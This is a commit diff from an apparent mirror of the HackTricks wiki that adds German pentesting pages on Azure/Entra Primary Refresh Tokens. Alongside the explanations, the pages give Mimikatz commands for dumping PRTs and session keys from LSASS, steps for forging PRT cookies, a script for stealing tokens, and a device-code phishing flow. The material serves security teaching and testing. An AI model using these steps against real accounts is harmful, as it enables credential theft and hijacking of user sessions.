mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
@@ -4,13 +4,13 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
In Azure-verbundenen Maschinen ist es möglich, sich von einer Maschine zur anderen mit Zertifikaten zu authentifizieren, die **von Azure AD CA** für den erforderlichen Benutzer (als Subjekt) ausgestellt werden müssen, wenn beide Maschinen den **NegoEx**-Authentifizierungsmechanismus unterstützen.
|
||||
In Azure-verbundenen Maschinen ist es möglich, sich von einer Maschine zur anderen mit Zertifikaten zu authentifizieren, die **von Entra ID CA** für den erforderlichen Benutzer (als Subjekt) ausgestellt werden müssen, wenn beide Maschinen den **NegoEx**-Authentifizierungsmechanismus unterstützen.
|
||||
|
||||
In super vereinfachten Begriffen:
|
||||
|
||||
- Die Maschine (Client), die die Verbindung initiiert, **benötigt ein Zertifikat von Azure AD für einen Benutzer**.
|
||||
- Der Client erstellt einen JSON Web Token (JWT) Header, der PRT und andere Details enthält, signiert ihn mit dem abgeleiteten Schlüssel (unter Verwendung des Sitzungsschlüssels und des Sicherheitskontexts) und **sendet ihn an Azure AD**.
|
||||
- Azure AD überprüft die JWT-Signatur mit dem Sitzungsschlüssel des Clients und dem Sicherheitskontext, prüft die Gültigkeit des PRT und **antwortet** mit dem **Zertifikat**.
|
||||
- Die Maschine (Client), die die Verbindung initiiert, **benötigt ein Zertifikat von Entra ID für einen Benutzer**.
|
||||
- Der Client erstellt einen JSON Web Token (JWT) Header, der PRT und andere Details enthält, signiert ihn mit dem abgeleiteten Schlüssel (unter Verwendung des Sitzungsschlüssels und des Sicherheitskontexts) und **sendet ihn an Entra ID**.
|
||||
- Entra ID überprüft die JWT-Signatur mit dem Sitzungsschlüssel des Clients und dem Sicherheitskontext, prüft die Gültigkeit des PRT und **antwortet** mit dem **Zertifikat**.
|
||||
|
||||
In diesem Szenario und nachdem alle benötigten Informationen für einen [**Pass the PRT**](pass-the-prt.md) Angriff gesammelt wurden:
|
||||
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
# Az - Phishing Primary Refresh Token (Microsoft Entra)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Überprüfen:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,6 +2,258 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Überprüfen Sie den Beitrag unter** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) obwohl ein anderer Beitrag, der dasselbe erklärt, zu finden ist unter [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
## Was ist ein Primary Refresh Token (PRT)?
|
||||
|
||||
Ein **Primary Refresh Token (PRT)** ist ein langlebiger Refresh-Token, der in der Azure AD (Entra ID) Authentifizierung verwendet wird, analog zu einem Kerberos TGT. Er wird bei der Benutzeranmeldung auf einem Azure AD-verbundenen Gerät ausgegeben und kann verwendet werden, um Zugriffstoken für verschiedene Anwendungen anzufordern, ohne die Anmeldeinformationen erneut abfragen zu müssen. Jeder PRT wird von einem **Sitzungsschlüssel** (auch als Proof-of-Possession-Schlüssel bezeichnet) begleitet – einem symmetrischen Schlüssel, der verwendet wird, um Anfragen zu signieren und zu beweisen, dass der Client den PRT hat. Der PRT selbst ist ein undurchsichtiger, verschlüsselter Blob (nicht vom Client lesbar), während der Sitzungsschlüssel verwendet wird, um ein JWT, das den PRT enthält, bei der Anforderung von Token zu **signieren**. Mit anderen Worten, der Besitz des PRT allein ist unzureichend; ein Angreifer benötigt den Sitzungsschlüssel, um die Legitimität zu beweisen, ähnlich wie man sowohl ein Kerberos TGT als auch seinen Sitzungsschlüssel für die Authentifizierung benötigt.
|
||||
|
||||
Unter Windows werden der PRT und der Sitzungsschlüssel im LSASS-Prozess über das CloudAP-Plugin zwischengespeichert. Wenn ein Gerät über ein **TPM** (Trusted Platform Module) verfügt, bindet Azure AD Schlüssel an das TPM für zusätzliche Sicherheit. Das bedeutet, dass auf TPM-ausgestatteten Geräten der Sitzungsschlüssel im TPM gespeichert oder verwendet wird, sodass er unter normalen Umständen nicht direkt aus dem Speicher gelesen werden kann. Wenn kein TPM verfügbar ist (z. B. viele VMs oder ältere Systeme), werden die Schlüssel in Software aufbewahrt und mit DPAPI-Verschlüsselung geschützt. In beiden Fällen kann ein Angreifer mit administrativen Rechten oder Codeausführung auf der Maschine versuchen, den **PRT und den Sitzungsschlüssel aus dem Speicher zu extrahieren**, um dann den Benutzer in der Cloud zu impersonieren. Im Gegensatz zu typischen Refresh-Token (die normalerweise an eine Anwendung gebunden sind) ist ein PRT breiter gefasst und ermöglicht es Ihrem Gerät, Token für fast jede Entra ID-integrierte Ressource oder Dienst anzufordern.
|
||||
|
||||
## Wie funktioniert ein PRT?
|
||||
|
||||
Hier ist eine vereinfachte Übersicht, wie ein PRT funktioniert:
|
||||
|
||||
1. **Geräteregistrierung:**
|
||||
|
||||
- Wenn Ihr Gerät (wie ein Windows-Laptop oder ein Mobiltelefon) sich bei Entra ID anmeldet oder registriert, authentifiziert es sich mit Ihren Anmeldeinformationen (Benutzername/Passwort/MFA).
|
||||
|
||||
- Nach erfolgreicher Authentifizierung gibt Entra ID einen PRT aus, der speziell an Ihr Gerät gebunden ist.
|
||||
|
||||
2. **Token-Speicherung:**
|
||||
|
||||
- Der PRT wird sicher auf Ihrem Gerät gespeichert, oft geschützt durch Hardwarefunktionen wie das Trusted Platform Module (TPM), was sicherstellt, dass es für unbefugte Dritte schwierig ist, ihn zu extrahieren oder missbräuchlich zu verwenden.
|
||||
|
||||
3. **Single Sign-On (SSO):**
|
||||
|
||||
- Jedes Mal, wenn Sie auf eine Entra ID-geschützte Anwendung (z. B. Microsoft 365-Apps, SharePoint, Teams) zugreifen, verwendet Ihr Gerät stillschweigend den gespeicherten PRT, um ein spezifisches Zugriffstoken für diese App anzufordern und zu erhalten.
|
||||
|
||||
- Sie müssen Ihre Anmeldeinformationen nicht wiederholt eingeben, da der PRT die Authentifizierung transparent handhabt.
|
||||
|
||||
4. **Erneuerung und Sicherheit:**
|
||||
|
||||
- PRTs haben eine lange Lebensdauer (typischerweise etwa 14 Tage), werden jedoch kontinuierlich erneuert, solange Ihr Gerät aktiv genutzt wird.
|
||||
|
||||
- Wenn Ihr Gerät kompromittiert oder verloren geht, können Administratoren Ihren PRT aus der Ferne widerrufen und sofort unbefugten Zugriff blockieren.
|
||||
|
||||
### Warum sind PRTs mächtig?
|
||||
|
||||
- **Universeller Zugriff:** Im Gegensatz zu typischen Token, die auf eine Anwendung oder Ressource beschränkt sind, kann ein PRT den Zugriff auf alle Entra ID-integrierten Dienste erleichtern.
|
||||
|
||||
- **Erhöhte Sicherheit:** Mit integrierten Hardware-Schutzmaßnahmen (wie TPM) gewährleisten PRTs eine sichere Token-Speicherung und -Nutzung.
|
||||
|
||||
- **Benutzererfahrung:** PRTs verbessern die Benutzererfahrung erheblich, indem sie häufige Authentifizierungsaufforderungen reduzieren und echtes nahtloses SSO ermöglichen.
|
||||
|
||||
## Wie erkennt man, ob ein PRT vorhanden ist?
|
||||
|
||||
- Überprüfen, ob ein PRT vorhanden ist:
|
||||
```bash
|
||||
# Execute
|
||||
dsregcmd /status
|
||||
## Check if the value of AzureAdPrt is set to YES
|
||||
```
|
||||
- Überprüfen, ob durch TPM geschützt:
|
||||
```bash
|
||||
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
|
||||
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
|
||||
|
||||
dsregcmd /status
|
||||
# In Device State / WHfB prerequisites you’ll typically see:
|
||||
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Dump und Benutzer ungeschützter PRTs
|
||||
|
||||
Laut [diesem Beitrag](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) auf Windows-Geräten **ohne TPM-Bindung** leben der PRT und sein Sitzungsschlüssel in LSASS (CloudAP-Plugin). Mit lokalen Admin/SYSTEM-Rechten auf diesem Gerät kann der PRT-BLOB und der DPAPI-verschlüsselte Sitzungsschlüssel **aus LSASS gelesen, der Sitzungsschlüssel über DPAPI entschlüsselt und der Signaturschlüssel abgeleitet** werden, um ein gültiges PRT-Cookie (`x‑ms‑RefreshTokenCredential`) zu erstellen. Sie benötigen sowohl den PRT als auch seinen Sitzungsschlüssel – der PRT-String allein reicht nicht aus.
|
||||
|
||||
### Mimikatz
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
```
|
||||
Das **PRT-Feld** enthält das verschlüsselte Refresh-Token (typischerweise ein Base64-String), und KeyValue im ProofOfPossessionKey ist der DPAPI-verschlüsselte Sitzungsschlüssel (ebenfalls Base64).
|
||||
|
||||
Kopieren Sie dann aus der **`sekurlsa::cloudap`**-Ausgabe den Base64-BLOB aus **`KeyValue`** innerhalb des Feldes `ProofOfPossessionKey` (dies ist der mit DPAPI verschlüsselte Sitzungsschlüssel). Dieser verschlüsselte Schlüssel kann nicht so verwendet werden – er muss mit den DPAPI-Anmeldeinformationen des Systems entschlüsselt werden.
|
||||
|
||||
Da die DPAPI-Verschlüsselung für Systemgeheimnisse den Systemkontext des Computers erfordert, heben Sie Ihr Token auf SYSTEM an und verwenden Sie das DPAPI-Modul von Mimikatz zur Entschlüsselung:
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
```
|
||||
Der `token::elevate` wird SYSTEM impersonifizieren und der `dpapi::cloudapkd` Befehl mit `/unprotect` wird den DPAPI-Master-Schlüssel verwenden, um den bereitgestellten KeyValue-BLOB zu entschlüsseln. Dies ergibt den Klartext-Sitzungsschlüssel sowie den zugehörigen abgeleiteten Schlüssel und Kontext, die zum Signieren verwendet werden:
|
||||
- **Klarer Schlüssel** – der 32-Byte-Sitzungsschlüssel im Klartext (dargestellt als Hex-String).
|
||||
- **Abgeleiteter Schlüssel** – ein 32-Byte-Schlüssel, der aus dem Sitzungsschlüssel und einem Kontextwert abgeleitet wurde (mehr dazu weiter unten).
|
||||
- **Kontext** – ein 24-Byte-zufälliger Kontext, der beim Ableiten des Signaturschlüssels für das PRT-Cookie verwendet wurde.
|
||||
|
||||
> [!NOTE]
|
||||
> Wenn dies nicht funktioniert, um den Benutzer zu impersonifizieren, überprüfen Sie den folgenden Abschnitt mit **`AADInternals`**.
|
||||
|
||||
Dann können Sie auch mimikatz verwenden, um ein gültiges PRT-Cookie zu generieren:
|
||||
```bash
|
||||
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz gibt ein signiertes JWT (das `PRT-Cookie`) nach der Zeile „Signature with key“ aus, das den PRT enthält und mit dem abgeleiteten Schlüssel signiert ist. Dieses JWT kann kopiert und dann in einer Web-Sitzung verwendet werden. Zum Beispiel kann ein Angreifer einen Browser öffnen, zu `login.microsoftonline.com` gehen und ein Cookie mit dem Namen `x-ms-RefreshTokenCredential` setzen, dessen Wert dieses JWT ist. Wenn der Browser aktualisiert oder navigiert, behandelt Azure AD die Sitzung als authentifiziert (das PRT-Cookie wird präsentiert, als ob SSO stattgefunden hätte), und es wird ein Autorisierungscode oder Zugriffstoken für die angegebene Ressource ausgegeben. In der Praxis würde man zu einer Ressource wie Office 365 oder dem Azure-Portal navigieren; das Vorhandensein eines gültigen PRT-Cookies bedeutet, dass Azure AD den Zugriff ohne zusätzliche Anmeldung gewährt (Umgehung von MFA, da der PRT bereits authentifiziert ist).
|
||||
|
||||
Sie könnten auch **`roadtx`** und **`roadrecon`** mit dem PRT des PRT-Cookies verwenden, um den Benutzer zu impersonieren *(TODO: Finde die genauen Befehlszeilen, um roadtx/roadrecon zu verwenden, um Anmeldeinformationen von einem PRT zu erhalten)*.
|
||||
|
||||
|
||||
### AADInternals
|
||||
|
||||
Das **`AADInternals`** PowerShell-Modul kann ebenfalls mit dem zuvor erhaltenen PRT und dem Sitzungsschlüssel verwendet werden, um ein gültiges PRT-Token zu generieren. Dies ist nützlich, um den Prozess der Beschaffung eines neuen PRT-Tokens mit Nonce zu automatisieren, das verwendet werden kann, um Zugriffstoken für die Azure AD Graph API oder andere Ressourcen abzurufen:
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
|
||||
|
||||
# Convert from Base 64
|
||||
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Add the session key (Clear key) to a variable
|
||||
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
|
||||
|
||||
# Convert to byte array and base 64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate a new PRTToken with nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstrahiert viel von der Kryptografie und verwendet Windows-Komponenten oder eigene Logik im Hintergrund.
|
||||
|
||||
## Missbrauch geschützter PRTs
|
||||
|
||||
Trotz der genannten Schutzmaßnahmen kann ein Angreifer, der bereits ein Gerät (als lokaler Benutzer oder sogar SYSTEM) kompromittiert hat, immer noch **den PRT missbrauchen, um frische Zugriffstoken zu erhalten**, indem er die eigenen Token-Broker-APIs und Sicherheitskomponenten von Windows nutzt. Anstatt den rohen PRT oder Schlüssel zu **extrahieren**, **"fragt" der Angreifer" Windows, den PRT in seinem Namen zu verwenden**. In den folgenden Abschnitten skizzieren wir derzeit gültige Techniken zum Missbrauch von PRTs und deren Sitzungsschlüsseln auf aktuellen Windows-Geräten, auf denen TPM-Schutzmaßnahmen wirksam sind. Alle diese Techniken setzen einen Post-Exploitation-Zugriff auf die Zielmaschine voraus und **konzentrieren sich auf den Missbrauch integrierter Authentifizierungsflüsse** (keine ungepatchten Schwachstellen erforderlich).
|
||||
|
||||
### Windows Token Broker Architektur und SSO-Fluss
|
||||
|
||||
Moderne Windows-Systeme verwalten die Cloud-Authentifizierung über einen integrierten **Token Broker**-Stack, der Komponenten sowohl im Benutzermodus als auch in LSASS (Local Security Authority) umfasst. Wichtige Teile dieser Architektur sind:
|
||||
|
||||
- **LSASS CloudAP Plugin:** Wenn ein Gerät Azure AD beigetreten ist, lädt LSASS Cloud-Authentifizierungspakete (z. B. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`), die PRTs und Token-Anfragen verwalten. LSASS (läuft als SYSTEM) orchestriert die Speicherung, Erneuerung und Nutzung von PRTs und kommuniziert mit dem TPM, um kryptografische Operationen (wie das Signieren einer PRT-Herausforderung mit dem Sitzungsschlüssel) durchzuführen.
|
||||
|
||||
- **Web Account Manager (WAM):** Der Windows Web Account Manager ist ein Framework im Benutzermodus (über COM/WinRT-APIs zugänglich), das es Anwendungen oder Browsern ermöglicht, Token für Cloud-Konten anzufordern, ohne nach Anmeldeinformationen zu fragen. WAM fungiert als Broker zwischen Benutzeranwendungen und dem sicheren, von LSASS/TPM unterstützten PRT. Beispielsweise verwenden Microsofts MSAL-Bibliothek und bestimmte Betriebssystemkomponenten WAM, um stillschweigend Token unter Verwendung des PRT des angemeldeten Benutzers zu erwerben.
|
||||
|
||||
- **BrowserCore.exe und Token Broker COM-Schnittstellen:** Für die Browser-SSO enthält Windows eine Komponente namens **BrowserCore.exe** (unter *Windows Security\BrowserCore* zu finden). Dies ist ein nativer Messaging-Host, der von Browsern (Edge, Chrome über eine Erweiterung usw.) verwendet wird, um ein PRT-abgeleitetes SSO-Token für die Azure AD-Anmeldung zu erhalten. Im Hintergrund nutzt BrowserCore ein COM-Objekt, das von `MicrosoftAccountTokenProvider.dll` bereitgestellt wird, um ein PRT-basiertes Cookie/Token abzurufen. Im Wesentlichen ist diese COM-Schnittstelle eine First-Party-"Token Broker"-API, die jeder Prozess, der als Benutzer ausgeführt wird, aufrufen kann, um ein SSO-Token zu erhalten (vorausgesetzt, der Benutzer hat einen gültigen PRT in LSASS).
|
||||
|
||||
Wenn ein Azure AD beigetretener Benutzer versucht, auf eine Ressource (z. B. das Azure-Portal) zuzugreifen, verläuft der Fluss typischerweise so: Eine Anwendung ruft die WAM- oder BrowserCore-COM-Schnittstelle auf, die wiederum mit LSASS kommuniziert. LSASS verwendet den PRT und den Sitzungsschlüssel (durch TPM gesichert), um ein **SSO-Token** zu erzeugen – oft als **PRT-Cookie** bezeichnet – das dann an die Anwendung oder den Browser zurückgegeben wird. Das PRT-Cookie ist ein spezielles JWT, das den verschlüsselten PRT und eine Nonce enthält, signiert mit einem Schlüssel, der aus dem Sitzungsschlüssel des PRT abgeleitet ist. Dieses Cookie wird an Azure AD (in einem `x-ms-RefreshTokenCredential`-Header) gesendet, um zu beweisen, dass das Gerät und der Benutzer einen gültigen PRT besitzen, was Azure AD ermöglicht, standardmäßige OAuth-Refresh- und Zugriffstoken für verschiedene Anwendungen auszustellen. Bemerkenswert ist, dass jede Multi-Faktor-Authentifizierungs-(MFA)-Behauptung, die im PRT vorhanden ist, in die über diesen SSO-Prozess erhaltenen Token übernommen wird, was bedeutet, dass PRT-abgeleitete Token MFA-geschützte Ressourcen erfüllen können.
|
||||
|
||||
### Benutzerlevel-Token-Diebstahl (Nicht-Admin)
|
||||
|
||||
Wenn ein Angreifer **Benutzerlevel-Codeausführung** hat, stoppt der TPM-Schutz des PRT den Angreifer nicht daran, Token zu erhalten. Der Angreifer **nutzt die integrierten Windows Token Broker APIs**:
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
BrowserCore stellt eine COM-Klasse (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) zur Verfügung, um PRT-Cookies abzurufen. Diese COM-API wird legitim von Browsern (Chrome/Edge-Erweiterungen) für Azure AD SSO aufgerufen.
|
||||
|
||||
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
|
||||
```bash
|
||||
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
```
|
||||
*(Gibt ein Azure AD-Refresh-Token oder PRT-Cookie zurück)*
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
```bash
|
||||
ROADtoken.exe --nonce <nonce-value>
|
||||
roadrecon auth --prt-cookie <cookie>
|
||||
```
|
||||
*(Generiert Nonce, ruft BrowserCore auf, um das PRT-Cookie zu erhalten, und löst es dann über ROADtools ein)*
|
||||
|
||||
|
||||
### **Web Account Manager (WAM) APIs**
|
||||
|
||||
Angreifer verwenden legitime Microsoft-Authentifizierungsbibliotheken (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) aus Prozessen auf Benutzerebene, um stillschweigend Tokens unter Nutzung des TPM-geschützten PRT abzurufen.
|
||||
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly aadprt.exe
|
||||
```
|
||||
*(Ruft das PRT-Cookie über COM-Schnittstellen ab)*
|
||||
|
||||
- **[listwamaccounts](https://posts.specterops.io/)**
|
||||
```bash
|
||||
execute-assembly listwamaccounts.exe
|
||||
```
|
||||
*(Listet Azure AD-Konten, die über WAM angemeldet sind; identifiziert Token-Ziele)*
|
||||
|
||||
- **Generisches Beispiel (PowerShell mit MSAL)**:
|
||||
```powershell
|
||||
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
|
||||
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
|
||||
$result.AccessToken
|
||||
```
|
||||
*(Stillschweigend ein Zugriffstoken unter Verwendung von PRT erhält)*
|
||||
|
||||
#### Missbrauch von Administrator- / SYSTEM-Level-Token
|
||||
|
||||
Wenn der Angreifer auf **Administrator oder SYSTEM** eskaliert, kann er direkt jeden in Azure AD angemeldeten Benutzer impersonieren und dieselben **COM/WAM-Token-Broker-APIs** verwenden. TPM-geschützte PRTs verhindern diese legitime Token-Ausstellung nicht.
|
||||
|
||||
### **Benutzer-Impersonation und Token-Abruf**
|
||||
|
||||
Admin/SYSTEM könnte laufende Sitzungen anderer Benutzer impersonieren, um BrowserCore oder WAM zur Token-Generierung aufzurufen.
|
||||
|
||||
Dazu einfach den Benutzerprozess impersonieren (z. B. `explorer.exe`) und die Token-Broker-APIs mit einer der im vorherigen Abschnitt kommentierten Techniken aufrufen.
|
||||
|
||||
### **Direkte LSASS- und Token-Broker-Interaktion (Fortgeschritten)**
|
||||
|
||||
Ein Administrator kann weiterhin mit LSASS arbeiten, um den PRT auszunutzen: Zum Beispiel könnte ein Admin Code in LSASS injizieren oder interne CloudAP-Funktionen aufrufen, um LSASS aufzufordern, ein Token zu erzeugen. Dirks Forschung stellte fest, dass ein Admin „mit PRT-Schlüsseln in LSASS unter Verwendung von Krypto-APIs interagieren“ kann. In der Praxis könnte dies bedeuten, die eigenen Funktionen von LSASS (über eine Technik wie API-Hooking oder RPC, falls verfügbar) zu verwenden, um ein PRT-Cookie zu generieren. Ein anderer Ansatz besteht darin, jedes Fenster auszunutzen, in dem der Sitzungsschlüssel möglicherweise im Speicher erscheint – zum Beispiel im Moment der PRT-Erneuerung oder der Geräteregistrierung, wenn er unverschlüsselt zur Verwendung ist. Solche Angriffe sind erheblich komplexer und situationsabhängig. Eine einfachere Taktik für Administratoren besteht darin, vorhandene Token-Handles oder Caches auszunutzen: LSASS speichert kürzlich ausgegebene Refresh-Token für Apps im Speicher (verschlüsselt mit DPAPI). Ein entschlossener SYSTEM-Angreifer könnte versuchen, diese DPAPI-geschützten Tokens (unter Verwendung des Master-Schlüssels des Benutzers, den ein Admin erhalten kann) zu extrahieren, um direkt Refresh-Token für bestimmte Anwendungen zu stehlen. Allerdings bleibt die einfachste und allgemeinste Methode die Impersonation und die Verwendung der dokumentierten Token-Broker-Schnittstellen, da diese garantieren, dass Azure AD frische Tokens (mit allen richtigen Ansprüchen) ausstellt, anstatt zu versuchen, die Verschlüsselung zu knacken.
|
||||
|
||||
## Phishing von PRTs
|
||||
|
||||
Missbrauch des **OAuth Device Code**-Flows unter Verwendung der **Microsoft Authentication Broker-Client-ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) und der **Device Registration Service (DRS)**-Ressource, um ein **Refresh-Token zu erhalten, das nach der Registrierung eines **falschen Geräts** in ein Primary Refresh Token (PRT) umgewandelt werden kann**.
|
||||
|
||||
### **Warum das funktioniert**
|
||||
|
||||
- **PRT** ist **gerätegebunden** und ermöglicht **SSO für (fast) jede Entra-geschützte App**.
|
||||
- Die Kombination aus **Broker-Client + DRS** ermöglicht es, ein phished **Refresh-Token** gegen ein **PRT** einzutauschen, sobald ein Gerät registriert ist.
|
||||
- **MFA wird nicht umgangen**: der **Benutzer führt MFA** während des Phishings durch; **MFA-Ansprüche propagieren** in das resultierende PRT, sodass der Angreifer auf Apps **ohne weitere Aufforderungen** zugreifen kann.
|
||||
|
||||
**Voraussetzungen**:
|
||||
|
||||
- **Benutzerauthentifizierung über Device Code** unter Verwendung der **Broker-Client-ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) und **DRS-Scopes/Ressource** (z. B. **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** oder **`https://enrollment.manage.microsoft.com/`**).
|
||||
- **Benutzer kann Geräte** in Entra ID registrieren (**Standard: erlaubt**, kann jedoch eingeschränkt oder kontingentiert werden).
|
||||
- **Keine blockierenden CA-Richtlinien**, die **Device Code** deaktivieren oder **konforme/hybride Geräte** für Ziel-Apps erfordern (diese verhindern nicht die Ausstellung von PRT, blockieren jedoch **die Verwendung** zur Zugriffssteuerung auf geschützte Apps).
|
||||
- **Angreifer-kontrollierter Host**, um den Flow auszuführen und die Tokens/Geräteschlüssel zu halten.
|
||||
|
||||
**Angriffsfluss**:
|
||||
|
||||
1. **Device Code-Auth** mit **client_id = Broker** und **DRS-Scopes/Ressource** initiieren; den **Benutzer-Code** dem Opfer anzeigen.
|
||||
```bash
|
||||
curl -s -X POST \
|
||||
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
|
||||
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
|
||||
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
|
||||
```
|
||||
2. **Das Opfer meldet sich auf der Microsoft-Website an** (legitime Benutzeroberfläche) und schließt **MFA** ab → **der Angreifer erhält ein DRS-scope Refresh-Token** für den Broker-Client.
|
||||
|
||||
3. **Registrieren Sie ein bösartiges Gerät** im Mandanten mit diesem Refresh-Token (Geräteobjekt wird erstellt und mit dem Opfer verknüpft).
|
||||
|
||||
4. **Upgrade zu einem PRT** durch den Austausch des **Refresh-Tokens + Geräteidentität/Schlüssel** → **PRT** gebunden an das Gerät des Angreifers.
|
||||
|
||||
5. **(Optionale Persistenz)**: Wenn MFA frisch war, **registrieren Sie einen Windows Hello for Business-Schlüssel**, um **langfristigen, passwortlosen Zugriff** zu gewährleisten.
|
||||
|
||||
6. **Missbrauch**: Einlösen des **PRT** (oder Erstellen eines **PRT-Cookies**), um **Zugriffstoken** für **Exchange/Graph/SharePoint/Teams/benutzerdefinierte Apps** als der Benutzer zu erhalten.
|
||||
|
||||
|
||||
### Öffentliche Tools und Proof-of-Concepts
|
||||
|
||||
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Automatisiert den OAuth-Flow, die Geräteregistrierung und Token-Upgrades.
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Einzeilige Skript, das den Gerätecode-Phishing zu PRT+WHfB-Schlüsseln automatisiert.
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [Dirkjans Blogbeitrag über PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Dirkjans Beitrag über Phishing von PRTs](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Dirkjans Beitrag über den Missbrauch von PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- SpecterOps-Beitrag über [Anfordern von Azure AD-Anforderungstoken](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
- [AADInternals-Beitrag über PRTs](https://aadinternals.com/post/prt/)
|
||||
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -27,8 +27,7 @@ curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/site
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
┌──(magichk㉿black-pearl)-[~]
|
||||
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**Beachten Sie, dass diese Art von Zugriffstoken auch in anderen Prozessen gefunden werden kann.**
|
||||
|
||||
|
||||
@@ -4,46 +4,72 @@
|
||||
|
||||
